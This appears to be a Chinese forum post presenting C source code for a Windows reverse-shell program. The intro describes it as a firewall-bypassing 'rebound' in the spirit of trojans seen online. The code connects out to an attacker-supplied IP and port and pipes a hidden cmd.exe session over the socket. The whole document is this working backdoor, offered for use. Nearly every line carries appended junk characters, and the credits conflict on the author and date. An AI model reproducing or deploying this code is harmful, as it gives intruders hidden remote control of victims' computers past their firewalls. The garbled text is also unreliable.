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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'N`x@(  
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/* ============================== d}wE4(]b  
Rebound port in Windows NT (^m~UN2@~m  
By wind,2006/7 o;>qsn8  
===============================*/ IiV]lxiE]  
#include u$qazj  
#include 57EL&V%j  
.g_^! t  
#pragma comment(lib,"wsock32.lib") *r ('A  
XII',&  
void OutputShell(); rd,!-w5  
SOCKET sClient; )"%J~:`h}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; **c"}S6:mC  
<ka zV<"  
void main(int argc,char **argv) :wfN+g=  
{ 4wx{i6  
WSADATA stWsaData; NKRm#  
int nRet; >AWWwq -  
SOCKADDR_IN stSaiClient,stSaiServer; @*WrHoa2N  
<2wC)l3j*  
if(argc != 3) f DPLB[  
{ .f|)od[  
printf("Useage:\n\rRebound DestIP DestPort\n"); DHuUEv<  
return; h]}DMVV]  
} dwb^z+   
T*k}E  
WSAStartup(MAKEWORD(2,2),&stWsaData); VRg y  
$<L@B|}F)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gsy'':u  
^~s!*T)\  
stSaiClient.sin_family = AF_INET; H-eHX3c7  
stSaiClient.sin_port = htons(0); )U{\c2b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hLT?aQLx  
H%{k.#O  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :bkmm,%O  
{ -X-sykDm  
printf("Bind Socket Failed!\n"); J^zB 5W,)  
return; M]xfH*  
} {uxTgX  
I(j$^DA.  
stSaiServer.sin_family = AF_INET; >|mZu)HIY;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8Ep!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3teP6|K'g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z7pw~Tqlz  
{ eKRE1DK  
printf("Connect Error!"); biRkq c;  
return; ADA}_|O  
} W9S6 SO^\  
OutputShell(); .u]d5z BR  
} v=DC3oh-  
u R]8ZT")  
void OutputShell() Dn`  
{ z~ua#(z1S  
char szBuff[1024]; V14+?L  
SECURITY_ATTRIBUTES stSecurityAttributes; PgsG*5WQ  
OSVERSIONINFO stOsversionInfo; 2_TFc2d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k&npC8oA  
STARTUPINFO stStartupInfo; 3;AJp_;  
char *szShell; I~nz~U:ak  
PROCESS_INFORMATION stProcessInformation; Lzx2An@R  
unsigned long lBytesRead; T&j:gg  
 }- wK  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~VV$wU!A  
HrUE?Sq  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BadnL<cj]  
stSecurityAttributes.lpSecurityDescriptor = 0; BN6cu9a  
stSecurityAttributes.bInheritHandle = TRUE; EtQ:x$S_  
,lVQ-qw5  
1! 5VWF0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #VsS C1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1/%5pb2\  
onm" 7JsO'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ql"~ z^L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *a-KQw  
stStartupInfo.wShowWindow = SW_HIDE; %q6I-  
stStartupInfo.hStdInput = hReadPipe; v`U;.W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -1w^z`;2h  
? U =Mdw  
GetVersionEx(&stOsversionInfo); q9c-UQB(!  
}/ Qj8l.  
switch(stOsversionInfo.dwPlatformId) ]1M Z:]k  
{ 0D0uzUD-  
case 1: u"8KH u5C@  
szShell = "command.com"; #VxN [770  
break; <`NtTG  
default: @?gRWH;Pq  
szShell = "cmd.exe"; b"Jr_24t3v  
break; QQD7NN>  
} x:c'ek  
i?,\>LTG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .R^ R|<x  
iu2O/l# r  
send(sClient,szMsg,77,0); Z:diM$Z?7  
while(1) d+"F(R9  
{ cv. j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m%c]+Our`  
if(lBytesRead) 5x!rT&!G  
{ ): fu]s"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <v?2p{U%  
send(sClient,szBuff,lBytesRead,0); y2R\SL,  
} H|/"'t OZ  
else VO /b&%  
{ g+Y &rz  
lBytesRead=recv(sClient,szBuff,1024,0); a6?t?: ~|  
if(lBytesRead<=0) break; { T<[-"h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {U4{v=,!I  
} @~FJlG(n  
} R_"6E8N  
#}Bv/`t  
return; ;@O8y\@  
}
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